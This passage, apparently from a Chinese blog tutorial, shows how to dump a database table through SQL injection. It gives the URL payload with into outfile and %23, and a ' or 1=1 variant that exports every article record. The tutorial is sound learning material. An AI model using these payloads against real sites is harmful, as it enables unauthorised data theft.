CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`articleid`) ) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
接下來(lái),我們就利用這個(gè)漏洞(不知道該漏洞的情況下,只能通過(guò)工具+手工檢測(cè)),演示一下如何將article表下載下來(lái)。 在地址欄中輸入:' into outfile 'e:/sql.txt'%23 分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數(shù)據(jù)庫(kù)系統(tǒng)中會(huì)變成空,需要在地址欄中輸入%23,那么才會(huì)變成#,進(jìn)而注釋掉后面的sql語(yǔ)句。 運(yùn)行之后,打開(kāi)E盤(pán),發(fā)現(xiàn)多了一個(gè)sql.txt文件,打開(kāi)之后,里面就是表article中的一條記錄。 為什么只有一條記錄呢?難道該數(shù)據(jù)表就只有一條記錄?不是這樣的,因?yàn)槲覀冎粰z索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來(lái)呢? 答案是可以的,只要你的構(gòu)造的SQL語(yǔ)句足夠靈活(再次提出了構(gòu)造SQL語(yǔ)句的靈活性)。 分析一下,當(dāng)在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時(shí)候,合并到sql查詢語(yǔ)句中變?yōu)椋? SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#' 仔細(xì)分析下之后,我們可以這樣子構(gòu)造SQL語(yǔ)句: SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#' 這樣的話,無(wú)論如何WHERE子句總是為真,換句話說(shuō),該sql語(yǔ)句等價(jià)于如下: SELECT * FROM article into outfile 'e:/whf.txt'#' 懂了吧,該sql語(yǔ)句在先執(zhí)行select語(yǔ)句,將表article中的所以內(nèi)容全部檢索出來(lái),然后再執(zhí)行into outfile 'e:/whf.txt'#'將內(nèi)容導(dǎo)出來(lái)。 不信的話,你執(zhí)行下…… 利用SQL注入漏洞,我們可以猜測(cè)表名,列名,用戶的密碼長(zhǎng)度(LEFT函數(shù))等等,當(dāng)然了,如果能直接向以上的演示那樣將表中的數(shù)據(jù)全部導(dǎo)出的話就沒(méi)必要去猜表名列名等等。 有點(diǎn)累了,就寫(xiě)到這里了。 利用SQL注入漏洞登錄后臺(tái)和利用SQL注入漏洞拖庫(kù)是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒(méi)啥深度,正如文章開(kāi)頭所說(shuō),權(quán)當(dāng)總結(jié),別無(wú)它意。